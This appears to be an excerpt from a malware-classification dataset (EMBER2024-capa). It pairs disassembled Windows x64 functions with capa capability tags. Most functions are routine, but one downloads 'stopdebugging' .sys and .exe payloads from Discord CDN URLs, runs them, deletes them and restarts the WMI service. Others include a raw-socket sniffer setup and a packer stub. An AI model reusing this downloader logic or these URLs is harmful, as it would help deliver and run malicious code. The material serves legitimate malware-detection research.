joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004334
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
movsxd rdx, dword [rcx + 0x108]
mov r9d, 4
mov rax, qword [rcx + 0x110]
mov r8d, dword [rax + rdx*4 - 4]
lea rdx, [rsp + 0x38]
not r8d
movzx eax, byte [rdx]
inc rdx
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x140036da0]
xor r8d, dword [rax + rcx*4]
sub r9, 1
jne 0x14000435d
not r8d
mov ecx, r8d
call fcn.140004494
mov eax, r8d
add rsp, 0x28
ret

Function at 0x14000dc34
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140080040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [0x140080920]
mov r10d, 4
mov dword [rsp + 0x20], ecx
mov r9, qword [rax + 0x1b90]
movsxd rcx, dword [r9 + 0x108]
mov rax, qword [r9 + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rsp + 0x20]
not r8d
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x140036da0]
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x14000dc7a
not r8d
lea rdx, [rsp + 0x20]
lea rcx, [r9 + 0x108]
mov dword [rsp + 0x20], r8d
call fcn.14001bd18
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140033e30
add rsp, 0x38
ret

Function at 0x1400129a4
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, qword [0x140080920]
cmp byte [rbx + 0x3000], 0
je 0x140012a65
cmp qword [rbx + 0x3008], 0
lea rbp, [rax + 0x10]
lea rdi, [rbx + 0x3010]
je 0x140012a57
mov r9d, dword [rdi + 4]
test r9d, r9d
jns 0x140012a0f
mov eax, r9d
mov rcx, rdi
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14001c058
mov rcx, qword [rsp + 0x40]
and dword [rdi], 0
mov rdx, rcx
mov rcx, rdi
mov r8, rbp
call fcn.140002ca4
mov eax, dword [rdi]
mov edx, 1
mov r9, qword [rbx + 0x3008]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x140080918]
movsxd r8, eax
mov rax, qword [rbx + 0x3018]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140012a65
mov rdx, rcx
mov r8, rbp
mov rcx, rdi
call fcn.140002ca4
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret

Function at 0x1400130c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x140080920]
mov rbx, rcx
and dword [rax + 0x2fbc], 0
test rcx, rcx
je 0x140013129
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140013134
lea rdx, [0x14003681c]
mov rcx, rbx
mov rdi, rax
call fcn.140002664
mov rbx, rax
test rax, rax
je 0x140013129
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400320dc
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
lea rcx, str.C:Users_stopdebugging.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_stopdebugging.sys
add rsp, 0x28
jmp qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]

Function at 0x140032100
Capabilities:
Download url
Execute command
Receive data
Terminate process

Disassembly:
sub rsp, 0x38
and qword [rsp + 0x20], 0
lea r8, str.C:Users_stopdebugging.sys
xor r9d, r9d
lea rdx, str.https:__cdn.discordapp.com_attachments_1222631997118087279_1227403641787252736_stopdebugging.sys_ex662847b8is6615d2b8hm6ba39aa18f4c90dbbf95d89db79e1a89413f70416b7f8de125ebd179993060d4
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
and qword [rsp + 0x20], 0
lea r8, str.C:Users_stopdebugging.exe
xor r9d, r9d
lea rdx, str.https:__cdn.discordapp.com_attachments_1222631997118087279_1227403692756697129_stopdebugging.exe_ex662847c4is6615d2c4hmae0f84c2e2e427c4ef714a42b99e5b5cb4028aff9d62192c85fd33ed061c78a8
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Users__stopdebugging.exe_stopdebugging.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400320dc
lea rcx, str.net_stop_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_start_winmgmt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400320c8
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140033c88
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r9, qword [rcx]
mov ebx, 0x270
mov ecx, dword [r9]
cmp ecx, ebx
jne 0x140033cf3
lea r8, [r9 + 8]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r10d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub rbx, 1
jne 0x140033cb6
mov ecx, dword [r9]
jmp 0x140033dc9
cmp ecx, 0x4e0
jb 0x140033dc9
lea rbx, [r9 + 0x9c4]
mov esi, 0xe3
mov edi, dword [rbx]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov eax, edi
mov r8, rbx
mov edx, eax
add rbx, 4
mov edi, dword [rbx]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rsi, 1
jne 0x140033d19
lea rbx, [r9 + 0xd50]
mov esi, 0x18c
mov edi, dword [rbx]
mov eax, edi
mov r8, rbx
mov edx, eax
add rbx, 4
mov edi, dword [rbx]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rsi, 1
jne 0x140033d5e
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and edx, 0xffffdf8c
shl edx, 0xf
mov ecx, edx
xor rcx, rax
mov rax, rcx
shr rax, 0x12
xor rax, rcx
ret

Function at 0x140034aa8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140034af2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140034af2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140034af2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140034af2
cmp dword [rcx + 0x84], 0xe
jbe 0x140034af2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140034af4
xor al, al
add rsp, 0x28
ret
Function at 0x140006880
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140011238], rbx
je 0x1400068cc
cmp rax, rbx
jne 0x1400068bf
mov ebx, 1
mov esi, ebx
jmp 0x1400068d1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400068a4
mov ebx, 1
mov eax, dword [0x140011240]
cmp eax, ebx
jne 0x1400068e7
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x14000694c
mov eax, dword [0x140011240]
test eax, eax
jne 0x140006946
mov dword [0x140011240], ebx
lea r15, [0x140008668]
lea rdi, [0x140008650]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140006938
test eax, eax
jne 0x14000693c
cmp qword [rdi], 0
je 0x14000692d
mov rax, qword [rdi]
mov rcx, qword [0x140008610]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000690e
test eax, eax
je 0x14000694c
mov eax, 0xff
jmp 0x140006a28
mov dword [0x14000f894], ebx
mov eax, dword [0x140011240]
cmp eax, ebx
jne 0x140006973
lea rdx, [0x140008648]
lea rcx, [0x140008618]
call sub.msvcrt.dll__initterm
mov dword [0x140011240], 2
test esi, esi
jne 0x140006980
xor eax, eax
xchg qword [0x140011238], rax
cmp qword [0x140011258], 0
je 0x1400069b4
lea rcx, [0x140011258]
call fcn.140007050
test eax, eax
je 0x1400069b4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140011258]
mov r9, qword [0x140008610]
call r9
mov r8, qword [0x14000f8a8]
mov rdx, qword [0x14000f8a0]
mov ecx, dword [0x14000f898]
call fcn.14000166c
mov dword [0x14000f890], eax
cmp dword [0x14000f8b0], 0
jne 0x1400069e4
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000f894], 0
jne 0x1400069f9
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000f890]
jmp 0x140006a28
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.140180000
add rsp, 0x28
jmp 0x140006880

Function at 0x140006f3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140006f88
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140006f80
cmp dword [rcx + 0x3c], edx
jl 0x140006f80
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140006f80
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140006f88
mov rax, rdx
add rsp, 0x18
ret
Function at 0x10000bae0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x100011df8], rdi
je 0x10000bb40
cmp rax, rdi
jne 0x10000bb33
mov r12d, 1
jmp 0x10000bb40
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10000bb19
mov eax, dword [0x100011df0]
cmp eax, 1
jne 0x10000bb55
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x10000bbbc
mov eax, dword [0x100011df0]
cmp eax, ebx
jne 0x10000bbb2
mov dword [0x100011df0], 1
lea r13, [0x100001448]
lea rdi, [0x100001430]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000bba4
cmp eax, ebx
jne 0x10000bba4
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x10000bb99
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x10000bb82
cmp eax, ebx
je 0x10000bbbc
mov eax, 0xff
jmp 0x10000bd04
mov dword [0x1000115d4], 1
mov eax, dword [0x100011df0]
cmp eax, 1
jne 0x10000bbe4
lea rdx, [0x100001428]
lea rcx, [0x1000013f0]
call sub.msvcrt.dll__initterm
mov dword [0x100011df0], 2
cmp r12d, ebx
jne 0x10000bbf3
mov rax, rbx
xchg qword [0x100011df8], rax
cmp qword [0x100011e10], rbx
je 0x10000bc1b
lea rcx, [0x100011e10]
call fcn.10000c0cc
cmp eax, ebx
je 0x10000bc1b
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100011e10]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x10000bc31
mov eax, 0xff
jmp 0x10000bd04
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x10000bcb6
cmp word [rcx], bx
je 0x10000bc4c
cmp edx, ebx
jne 0x10000bcb6
cmp word [rcx], bx
je 0x10000bc62
cmp word [rcx], 0x20
ja 0x10000bc62
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x10000bc4c
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100002d14
mov dword [0x1000115d0], eax
cmp dword [0x1000115b4], ebx
jne 0x10000bca0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000115d4], ebx
jne 0x10000bcb4
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000115d0]
jmp 0x10000bd04
cmp word [rcx], 0x22
jne 0x10000bcc9
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x10000bc3d
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.100151000
add rsp, 0x28
jmp 0x10000bae0
Function at 0x479170
Capabilities:
Terminate process

Disassembly:
pop rbp
ret
cld
pop r11
jmp 0x47917d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x47918d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x479175
lea eax, [rcx + 1]
jmp 0x47919b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x4791ae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x479194
sub eax, 3
jb 0x4791ce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x47921d
sar eax, 1
movsxd rbp, eax
jb 0x479204
jmp 0x4791dc
add ebx, ebx
jne 0x4791da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x479204
inc ecx
add ebx, ebx
jne 0x4791ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x479204
call r11
adc ecx, ecx
add ebx, ebx
jne 0x4791fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x4791ec
add ecx, 2
jmp 0x479209
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00479132
jmp 0x47917d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x4de00
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x479269
cmp rsi, rcx
jae 0x479271
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x479250
cmp al, 0x8f
ja 0x479250
cmp byte [rsi - 2], 0xf
je 0x479256
sub al, 0xe8
cmp al, 1
ja 0x47923a
cmp rsi, rcx
jae 0x479271
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x479240
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x479271
lodsb al, byte [rsi]
jmp 0x479250
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x77000]
mov eax, dword [rdi]
or eax, eax
je 0x4792da
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x796e4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x47927e
jns 0x4792b3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x4792bd
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x4792d4
mov qword [rbx], rax
add rbx, 8
jmp 0x47929e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x479314
cmp al, 0xef
ja 0x479306
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x4792e6
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x4792f5
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x217]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x479368
sub rsp, 0xffffffffffffff80
jmp 0x44e120
Function at 0x140011221
Capabilities:
Terminate process

Disassembly:
jmp 0x140013720
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112a8
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x140012170
push rbp
push rdi
sub rsp, 0xc48
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x21a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xc18], rax
lea rcx, [0x1400240fa]
call fcn.1400113d9
call fcn.140011442
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x1400121ce
lea rcx, str._error
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x14001221e
xor eax, eax
cmp eax, 1
je 0x140012209
movsxd rax, dword [rbp + 4]
xor r9d, r9d
mov r8d, 0x800
lea rdx, [rbp + 0x30]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x844], eax
cmp dword [rbp + 0x844], 0
jle 0x140012207
lea rcx, [rbp + 0x30]
call fcn.1400110d2
jmp 0x1400121ce
movsxd rax, dword [rbp + 4]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001af40]
call fcn.140011357
mov rax, rdi
mov rcx, qword [rbp + 0xc18]
xor rcx, rbp
call fcn.1400111db
lea rsp, [rbp + 0xc28]
pop rdi
pop rbp
ret

Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014a70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014a90
xor al, al
jmp 0x140014b11
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014aa3
xor al, al
jmp 0x140014b11
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014acd
xor al, al
jmp 0x140014b11
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014ae1
xor al, al
jmp 0x140014b11
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014af3
xor al, al
jmp 0x140014b11
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014b0f
xor al, al
jmp 0x140014b11
mov al, 1
add rsp, 0x38
ret
Function at 0x140011442
Capabilities:
Create raw socket
Get hostname
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
jmp 0x1400163f0
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xd6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x4c8], rax
lea rcx, [0x1400240fa]
call fcn.1400113d9
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x198
rep stosb byte [rdi], al
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140016465
lea rcx, [0x14001ad70]
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400165ec
xor r8d, r8d
mov edx, 3
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
cmp rax, 0xffffffffffffffff
jne 0x1400164b3
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str._r_n
call fcn.1400111c2
lea rcx, str.socket
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400165ec
mov edx, 4
lea rcx, [rbp + 0x220]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x220]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0
jne 0x14001650b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str._r_n
call fcn.1400111c2
lea rcx, str.gethostby
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400165ec
mov eax, 2
mov word [rbp + 0x1e8], ax
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
mov rax, qword [rbp + 0x318]
movsx rax, word [rax + 0x12]
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x318]
mov rdx, qword [rdx + 0x18]
mov r8, rax
mov rdx, qword [rdx + rcx]
lea rcx, [rbp + 0x1ec]
call fcn.1400111e0
mov ecx, dword [rbp + 0x1ec]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea rcx, str.Bingding_to_inerface_:_s__r_n
call fcn.1400111c2
movsxd rax, dword [rbp + 0x1c4]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1400165a9
lea rcx, str.bind
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400165ec
mov dword [rbp + 0x334], 1
movsxd rax, dword [rbp + 0x1c4]
lea r8, [rbp + 0x334]
mov edx, 0x98000001
mov rcx, rax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x1400165e6
lea rcx, str.iocet
call fcn.1400111c2
mov eax, 0xffffffff
jmp 0x1400165ec
mov eax, dword [rbp + 0x1c4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001aee0]
call fcn.140011357
mov rax, rdi
mov rcx, qword [rbp + 0x4c8]
xor rcx, rbp
call fcn.1400111db
lea rsp, [rbp + 0x4d8]
pop rdi
pop rbp
ret
Function at 0x14054c108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14054c28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14054c139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14054c11f
add dl, dl
jne 0x14054c146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14054c1a6
xor eax, eax
add dl, dl
jne 0x14054c155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14054c25d
add dl, dl
jne 0x14054c166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14054c173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14054c180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14054c18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14054c19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14054c12e
mov eax, 1
add dl, dl
jne 0x14054c1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14054c1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14054c1ab
sub eax, ebx
mov ebx, 1
jne 0x14054c1fc
mov ecx, 1
add dl, dl
jne 0x14054c1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14054c1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14054c1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14054c12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14054c218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14054c225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14054c20d
cmp eax, 0x7d00
jae 0x14054c24b
cmp eax, 0x500
jb 0x14054c246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14054c12e
cmp eax, 0x7f
ja 0x14054c24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14054c12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14054c282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14054c12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20